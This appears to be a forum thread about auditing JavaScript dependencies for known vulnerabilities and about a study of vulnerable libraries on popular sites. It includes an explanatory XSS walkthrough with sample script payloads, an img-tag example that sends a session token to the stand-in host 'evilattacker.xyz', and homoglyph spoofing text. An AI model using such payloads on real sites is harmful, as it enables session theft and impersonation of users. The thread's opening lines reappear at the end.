In ruby land, there's a great gem - https://github.com/rubysec/bundler-audit - that lets you know when specific gem versions have a known security vulnerability.
We run it as part of our CI. When a vulnerability drops, it gets fixed pretty quickly since otherwise everyone's build fails.
Does anyone know of any equivalents for the JS world? A quick google finds https://github.com/nodesecurity/nsp but keen to hear what other people are doing.
And yes, that is a great question. I would love to know. I guess, however, the follow-up question is how current the audit package is kept. It seems like this is the sort of thing that would need -constant- update in order to be useful. However, as is often the case, please do correct me if I am wrong.
Edit: one of the folks from Snyk responded to me below: https://snyk.io/ This seems to be what they do. No endorsement, but this certainly seems interesting.
I haven't researched the JS options in this space yet either, but if anyone reading is looking for something like this for PHP, there is Roave Security Advisories — https://github.com/Roave/SecurityAdvisories
Add it to your composer.json and it will simply conflict with all lib versions with known vulnerabilities.
We're currently using nsp - it checks advisories on nodesecurity.io against our _direct_ dependencies & devDependencies.
For my private projects I use both nsp and bithound. Bithound apparently uses snyk, which checks both direct _and_ indirect dependencies.
Both nsp and snyk use central repos of vulnerabilities - and both are backed by a business with a vested interest to keep these up to date (^lLift and Snyk respectively).
Don't get the hassle about upgrading to latest versions though. It's super easy to automate (ncu --upgrade && npm i && npm test).
I build a Haskell program that checks the RSS-feed that you can download from Snyk against a package.json file of an NPM-project. I do not have some of my projects on github and never will have. I am especially alergic to providing anybody access to my private repos if i do not have to, so...
https://github.com/phuhl/SnykVulnChecker
>Rubysec is awesome but outdated, lacks many of the vulnerabilities in https://Snyk.io/
I'm one of the Rubysec maintainers.
If you're reading this and you know about vulns not present in the advisory-db, please submit a PR to the github repo, or use the crappy form we put together: https://rubysec.com/advisories/new
I too run a vulnerability notification service, and it's frustrating when other people use public data but don't contribute back.
It sounds like these Snyk folks have a CLI that can check your node modules against their database. I haven't tried it though, so all I have to go on is their feature page.
I'd like to see some practical examples of exploited vulnerabilities in client side JS libraries. I always think of everything client side as happening in a context of total insecurity- in the sense that I make no assumptions of what the client will do in relation to the server.
Is this more about libraries that expose the client to attacks from code on other sites?
Perhaps I'm complacent about this but I often think of this as the responsibility of the browser...
Your users aren't authorized to carry out actions on the server? There is no information in your front end that should remain secret to you and the user?
Indeed there is. Most often a token, stored in localStorage. But that token can be used from anywhere and with any mechanism. So I guess what I mean is that if there is a way for somebody to intercept or retrieve it, then I have in the past viewed that as a vulnerability of the browser (probably wrongly).
So what I'd love to understand better is the kind of attacks that would be practical, and how they would exploit a 3rd party library.
By the way I am totally receptive to the possibility that there may be grave vulnerabilities. I just don't have the kind of mind that easily thinks of them.
As a simple example, paste <script>alert("haha")</script> into an form in your system that will (eventually) be viewable to someone else. Let's say it's something innocuous like the quantity field on an order form or a comment on a comment form.
Now, none of those characters will attack your database through SQL injection, right? So what happens when you (the administrator) views your latest orders? Basically, that javascript is now operating in the security context of you, the administrator, not in the context of the attacker that submitted it. It could do something worse than alert()... for example, it could grab your session token or a cookie's secret value (depending on the cookie) and send it off to <img src=evilattacker.xyz/clear.gif?sid=xxxx>, and now the attacker can become you.
Or, it could do the same thing to another user on your forum when they look at the evil comment.
This sort of attack is easy to do and broadly considered XSS (cross-site scripting). There are related areas of attack, like cookie forgery, referral, etc attacks. The OWASP string replacement guidelines (or my safify.js) can help with this, but ultimately string sanitation has to make sense for the context (i.e., browser bad characters are different from SQL injection bad characters).
And, you have to think about the weakest link... us poor humans, to whom similar 𝖻𝗎𝗍 𝗇𝗈𝗍 𝗊𝗎𝗂𝗍𝖾 𝗍𝗁𝖾 𝗌𝖺𝗆𝖾 𝗎𝗇𝗂𝖼𝗈𝖽𝖾 𝗅𝖾𝗍𝗍𝖾𝗋𝗌 𝖼𝖺𝗇 𝖻𝖾 𝗎𝗌𝖾𝖽 𝗍𝗈 𝗍𝗋𝗂𝖼𝗄 𝗌𝗈𝗆𝖾𝗈𝗇𝖾... 𝗆𝖺𝗒𝖻𝖾 𝗍𝗁𝖾𝗒 𝗍𝗁𝗂𝗇𝗄 𝗂𝗍'𝗌 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝖴𝖱𝖫 𝗍𝗁𝖺𝗇 𝗂𝗍 𝗂𝗌, 𝗈𝗋 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝗎𝗌𝖾𝗋𝗇𝖺𝗆𝖾.. (paste that into vim to see the actual characters in the preceding sentence.)
𝗁𝗍𝗍𝗉𝗌://𝗀𝗈𝗈𝗀𝗅𝖾.𝖼𝗈𝗆/?𝗊=𝗇𝗈𝗍+𝗐𝗁𝖺𝗍+𝗒𝗈𝗎+𝗍𝗁𝗂𝗇𝗄
None of those unicode characters will usually trigger any blacklists, but because it "looks" right, sometimes can even trick security-aware hackers. (see also punycode). What if someone spoofs someone's username on github?
There's lots and lots of interesting ways to attack websites. It's tough to keep track of them all.
Another example. Your 404 page..
<h1>404</h1>
<p>Sorry, /x/y/z doesn't exist.</p>
Now, someone says "Hey, can you please visit this site?"
It is silly if the content of `comment` is coming from an external source (e.g. query string). Could you identify a specific jQuery vulnerability that makes otherwise safe code unsafe?
I wouldn't say that jQuery has a vulnerability, but it having tons of APIs that have an overloard supporting injecting HTML from a string make it easy to write vulnerable code (compare to React where the only way to inject HTML from a string requires using a very explicit API involving typing "unsafe") and hard to identify vulnerable code (I can't easily ctrl-f through a codebase for easy-to-misuse functions because most of the calls will be calls to safer-element-taking overloads that I can only identify by following the code backwards).
This example will only affect that particular user viewing the page, though. And once they hit refresh, that'll be gone.
If I'm following your other example with malicious input into a form; the snippet would have to pass server-side validation (likely, since it's probably checking for SQL injects). Then past that, when it gets rendered for other users, the view/templating would need to display the snippet as a script instead of just text, right?
(btw, I didn't downvote you; your question is quite legitimate. I upvoted you to restore balance to nature ;))
> This example will only affect that particular user viewing the page, though. And once they hit refresh, that'll be gone.
No, that wouldn't be an effective XSS. You highlighted an effective XSS in your follow-on statements.. basically, it needs to be saved on the server and then displayed to another user. At that point, you can attack them and steal whatever you like.
An effective XSS would be a form that doesn't validate input looking for XSS attacks specifically (on the server side, or on the client side before re-display, such as via my safify.js library). For example, if HN let me paste that in and didn't translate < to < before display, my <script>alert(1);</script> would be actually executed as soon as it was displayed on screen (more correctly, attached to the DOM). This is a really important point ... it's the core of understanding what XSS really is.
> Then past that, when it gets rendered for other users, the view/templating would need to display the snippet as a script instead of just text, right?
No, unfortunately -- the view would just have to display it even as plain text. I'm guessing here that you're saying the entire page is displayed as an html template via jinja or something, rather than being pulled in with AJAX. AJAX is almost certainly going to be XSS'able unless you take steps. If you're using an HTML templater, it might sanitize/encode the HTML for you, but only if it knows that it's supposed to do that and that it's not part of your normal HTML. (In other words, most templaters would probably just stick the <script> tag right in the middle of all of the other HTML, and the browser will just try to parse and interpret anything that looks like HTML and ignore all the rest as noise.)
To continue with your thoughts..
1) attacker leaves comment in field
2) comment can be validated on server prior to sql injection, or not. that doesn't matter unless it's looking specifically for XSS vectors.
3) when comment is provided back to the client, it's displayed on screen using regular jquery calls. there's nothing wrong with using those jquery calls (any more than directly manipulating the DOM or using standard javascript); you just have to know what you're doing and sanitize the text. (i.e., this isn't referring to a specific vuln in jquery or javascript at all.)
4) most importantly, the view/templating does NOT need to "display" snippet as script. this is the key point. As soon as it's attached to the DOM, it becomes HTML.
You can try it out right here. Open up devtools (press f12) and paste this into the console tab:
var comment = "<script>alert(1)</script>";
$("body").append(comment);
Thanks for the upvote, but a bigger thanks for coming back to answer my question so thoroughly. :)
> If you're using an HTML templater, it might sanitize/encode the HTML for you, but only if it knows that it's supposed to do that and that it's not part of your normal HTML.
Yeah this was my larger concern. I'm never blindly appending user-submitted input into the DOM, but doing it through a templater like Handlebars.
Yes but what I think I had not given enough thought to were DOM-based vulnerabilities, which it seems to me are the ones that would be relevant to 3rd party JS libs. Anyway I will certainly be giving this deeper thought.
For Node we use https://nodesecurity.io/ for all our npm packages. It does a pretty great job of alerting us quickly to any vulnerabilities reported for our packages.
I just looked at the paper, very briefly. Below is kind of a tl;dr (please do not hestitate to correct me if I got anything wrong [though that particular statement goes without saying on this site...])
* Based on the below text (taken from the underlying paper[0]) can you fine folks spot check me on my re-interpretation of the central claim?
>Using these tools, we crawled the Alexa Top 75 k websites
and a random sample of 75 k websites drawn from a snapshot
of the .com zone in May 2016. These two crawls allow us to
compare and contrast JavaScript library usage between popular
and unpopular websites. In total, we observed 11,141,726 inline
scripts and script file inclusions; 87.7 % of Alexa sites and
46.5 % of .com sites used at least one well-known JavaScript
library, with jQuery being the most popular by a large majority.
Analysis of our dataset reveals many concerning facts
about JavaScript library management on today’s Web. More
than a third of the websites in our Alexa crawl include at
least one vulnerable library version, and nearly 10 % include
two or more different vulnerable versions. From a per-library
perspective, at least 36.7 % of jQuery, 40.1 % of Angular, 86.6 %
of Handlebars, and 87.3 % of YUI inclusions use a vulnerable
version.
* My reinterpretation: So, of the top 75k Alexa website, 37% use a version of one of the 72 tested javascript libraries with that has a "known vulnerability"?
Is that the claim?
* Can anyone get a table of the 72 libraries tested and an associated matrix of the known vulnerabilities?
* Are there different levels of classification in these vulnerabilities? As in, do some allow for successful MITM, do some allow for injected code, or are they more benign? Are we to assume that they are all very serious vulnerabilities? Are we to assume that all these are browser-security vulnerabilities, or are they susceptible to attack from other network sources?
This is very interesting, but I think we need a lot more data. Frankly, I am a bit disappointed that they do not have a simple to read table of the most popular 72 libraries and their known vulnerable packages - I would love to know if for no other reason to check that I am not using any of them.
Though I will say one thing: 37% is a lot lower than I would have anticipated but a still very sobering number.
> * The complete list of the 72 libraries that were tested? I could not find it.
Me either. They list out the 30 most popular of those 72, but I can't see the full list. Yet another reason why the 37% they report may be underselling the issue—without being able to see the full list, it's hard to confirm 100%.
> To summarize (please correct me if I am wrong): So, of the top 75k Alexa website, 37% use a version of one of the 72 tested javascript libraries with a known vulnerability?
Yes, that's the claim they're making.
> Are there different levels of classification in the vulnerabilities? As in, do some allow for successful MITM, do some allow for injected code, or are they more benign?
They don't go into that. Based on what I know about the vulns in the libraries they discuss, they didn't do anything to distinguish low/medium/high or vulnerability type. From what we see in our DB, XSS remains the most common type.
> This is very interesting, but I think we need a lot more data
I'm digging through our (https://snyk.io) analytics and a few other sources to try to get a different (albeit, npm-centric) perspective on this. I'll try to remember to come back and ping you when it's done.
Doesn't seem to have a list of vulnerable sites. I imagine that there are tools out there to check against but I don't know. It doesn't seem to be a very helpful article, merely alarming.
Although it seems pedantic, it is important to note that these are 398 publicly known vulnerabilities. An easily overlooked distinction. (Small edit due to style).
The article lists https://snyk.io/vuln/npm:moment:20161019 as an example of a vulnerability (although not one that is tracked). Could someone explain how a Javascript vulnerability could cause a DDoS? Even if it does cause Moment to hang, how would that affect the server?
37% of surveyed sites used at least one library with known vulnerability. Websites don't upgrades these libraries frequently either. The question in my mind is why browsers don't ship with popular JS libraries? That way downloads can be reduced and also such security issues can be addressed more centrally.
It doesn't matter how the updates to libraries are done, people don't update because it means API changes and testing your code to see what broke and fix it. Most clients do not understand, let alone want to pay for that kind of maintenance.
been a "word" since forever mate, i even remember using it in the 90s. and it's alright, you might just be young or haven't forayed much into the deeper corners of the web where 'vulns' get discussed.
We run it as part of our CI. When a vulnerability drops, it gets fixed pretty quickly since otherwise everyone's build fails.
Does anyone know of any equivalents for the JS world? A quick google finds https://github.com/nodesecurity/nsp but keen to hear what other people are doing.